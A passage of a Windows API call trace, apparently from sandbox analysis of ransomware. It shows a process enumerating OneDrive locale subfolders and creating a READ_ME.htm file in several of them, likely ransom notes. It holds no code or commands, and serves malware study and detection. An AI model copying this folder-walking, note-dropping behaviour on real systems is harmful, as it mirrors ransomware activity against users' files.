0x2fe5d0 [0145.929] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.929] SetErrorMode (uMode=0x0) returned 0x1 [0145.929] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pa-arab\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pa-arab\\READ_ME.htm", lpFilePart=0x0) returned 0x56 [0145.929] SetErrorMode (uMode=0x1) returned 0x0 [0145.930] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pa-arab\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\pa-arab\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.930] SetErrorMode (uMode=0x0) returned 0x1 [0145.930] GetFileType (hFile=0x1d0) returned 0x1 [0145.930] WriteFile (in: hFile=0x1d0, lpBuffer=0x2994350*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x2994350*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.932] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pa-arab-pk", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pa-arab-pk", lpFilePart=0x0) returned 0x4d [0145.932] SetErrorMode (uMode=0x1) returned 0x0 [0145.932] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pa-arab-pk\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\pa-arab-pk\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xedc4f910, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeded7070, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeded7070, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.933] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.933] SetErrorMode (uMode=0x0) returned 0x1 [0145.933] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pa-arab-pk", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pa-arab-pk", lpFilePart=0x0) returned 0x4d [0145.933] SetErrorMode (uMode=0x1) returned 0x0 [0145.933] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pa-arab-pk\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\pa-arab-pk\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xedc4f910, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeded7070, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeded7070, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.933] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.934] SetErrorMode (uMode=0x0) returned 0x1 [0145.934] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pa-arab-pk\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pa-arab-pk\\READ_ME.htm", lpFilePart=0x0) returned 0x59 [0145.934] SetErrorMode (uMode=0x1) returned 0x0 [0145.934] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pa-arab-pk\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\pa-arab-pk\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.935] SetErrorMode (uMode=0x0) returned 0x1 [0145.936] GetFileType (hFile=0x1d0) returned 0x1 [0145.936] WriteFile (in: hFile=0x1d0, lpBuffer=0x299aa38*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x299aa38*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.937] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pl", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pl", lpFilePart=0x0) returned 0x45 [0145.937] SetErrorMode (uMode=0x1) returned 0x0 [0145.938] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pl\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\pl\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeded7070, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xee138670, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xee138670, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.938] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.938] SetErrorMode (uMode=0x0) returned 0x1 [0145.938] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pl", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pl", lpFilePart=0x0) returned 0x45 [0145.939] SetErrorMode (uMode=0x1) returned 0x0 [0145.939] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pl\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\pl\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeded7070, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xee138670, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xee138670, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.939] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.939] SetErrorMode (uMode=0x0) returned 0x1 [0145.939] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pl\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pl\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.939] SetErrorMode (uMode=0x1) returned 0x0 [0145.939] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pl\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\pl\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.940] SetErrorMode (uMode=0x0) returned 0x1 [0145.940] GetFileType (hFile=0x1d0) returned 0x1 [0145.940] WriteFile (in: hFile=0x1d0, lpBuffer=0x29a1020*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x29a1020*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.942] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\prs-af", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\prs-af", lpFilePart=0x0) returned 0x49 [0145.942] SetErrorMode (uMode=0x1) returned 0x0 [0145.942] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\prs-af\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\prs-af\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee138670, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xee2b5430, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xee2b5430, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.943] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.943] SetErrorMode (uMode=0x0) returned 0x1 [0145.943] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\prs-af", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\prs-af", lpFilePart=0x0) returned 0x49 [0145.943] SetErrorMode (uMode=0x1) returned 0x0 [0145.943] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\prs-af\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\prs-af\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee138670, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xee2b5430, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xee2b5430, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.944] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.944] SetErrorMode (uMode=0x0) returned 0x1 [0145.944] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\prs-af\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\prs-af\\READ_ME.htm", lpFilePart=0x0) returned 0x55 [0145.944] SetErrorMode (uMode=0x1) returned 0x0 [0145.944] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\prs-af\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\prs-af\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.945] SetErrorMode (uMode=0x0) returned 0x1 [0145.945] GetFileType (hFile=0x1d0) returned 0x1 [0145.945] WriteFile (in: hFile=0x1d0, lpBuffer=0x29a7688*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x29a7688*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.946] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pt-br", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pt-br", lpFilePart=0x0) returned 0x48 [0145.946] SetErrorMode (uMode=0x1) returned 0x0 [0145.946] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pt-br\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\pt-br\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee7c42f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xee9ff790, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xee9ff790, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.947] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.947] SetErrorMode (uMode=0x0) returned 0x1 [0145.947] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pt-br", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pt-br", lpFilePart=0x0) returned 0x48 [0145.947] SetErrorMode (uMode=0x1) returned 0x0 [0145.947] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pt-br\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\pt-br\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee7c42f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xee9ff790, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xee9ff790, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.948] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.948] SetErrorMode (uMode=0x0) returned 0x1 [0145.948] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pt-br\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pt-br\\READ_ME.htm", lpFilePart=0x0) returned 0x54 [0145.948] SetErrorMode (uMode=0x1) returned 0x0 [0145.948] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pt-br\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\pt-br\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.949] SetErrorMode (uMode=0x0) returned 0x1 [0145.949] GetFileType (hFile=0x1d0) returned 0x1 [0145.950] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pt-pt", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pt-pt", lpFilePart=0x0) returned 0x48 [0145.950] SetErrorMode (uMode=0x1) returned 0x0 [0145.950] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pt-pt\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\pt-pt\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee9ff790, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeec86ef0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeec86ef0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.951] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.951] SetErrorMode (uMode=0x0) returned 0x1 [0145.951] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pt-pt", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pt-pt", lpFilePart=0x0) returned 0x48 [0145.951] SetErrorMode (uMode=0x1) returned 0x0 [0145.952] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pt-pt\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\pt-pt\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee9ff790, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeec86ef0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeec86ef0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.952] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.952] SetErrorMode (uMode=0x0) returned 0x1 [0145.952] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pt-pt\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pt-pt\\READ_ME.htm", lpFilePart=0x0) returned 0x54 [0145.952] SetErrorMode (uMode=0x1) returned 0x0 [0145.952] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pt-pt\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\pt-pt\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.954] SetErrorMode (uMode=0x0) returned 0x1 [0145.954] GetFileType (hFile=0x1d0) returned 0x1 [0145.955] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\qut-latn", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\qut-latn", lpFilePart=0x0) returned 0x4b [0145.955] SetErrorMode (uMode=0x1) returned 0x0 [0145.956] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\qut-latn\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\qut-latn\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeec86ef0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeeec2390, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeeec2390, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.956] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.956] SetErrorMode (uMode=0x0) returned 0x1 [0145.956] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\qut-latn", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\qut-latn", lpFilePart=0x0) returned 0x4b [0145.956] SetErrorMode (uMode=0x1) returned 0x0 [0145.957] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\qut-latn\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\qut-latn\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeec86ef0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeeec2390, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeeec2390, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.957] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.957] SetErrorMode (uMode=0x0) returned 0x1 [0145.957] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\qut-latn\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\qut-latn\\READ_ME.htm", lpFilePart=0x0) returned 0x57 [0145.957] SetErrorMode (uMode=0x1) returned 0x0 [0145.958] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\qut-latn\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\qut-latn\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.958] SetErrorMode (uMode=0x0) returned 0x1 [0145.958] GetFileType (hFile=0x1d0) returned 0x1 [0145.960] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\quz-pe", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\quz-pe", lpFilePart=0x0) returned 0x49 [0145.960] SetErrorMode (uMode=0x1) returned 0x0 [0145.960] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\quz-pe\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\quz-pe\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeeec2390, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef195db0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef195db0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.960] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.961] SetErrorMode (uMode=0x0) returned 0x1 [0145.961] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\quz-pe", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\quz-pe", lpFilePart=0x0) returned 0x49 [0145.961] SetErrorMode (uMode=0x1) returned 0x0 [0145.961] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\quz-pe\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\quz-pe\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeeec2390, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef195db0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef195db0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.961] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.961] SetErrorMode (uMode=0x0) returned 0x1 [0145.962] GetFullPathNameW (in: 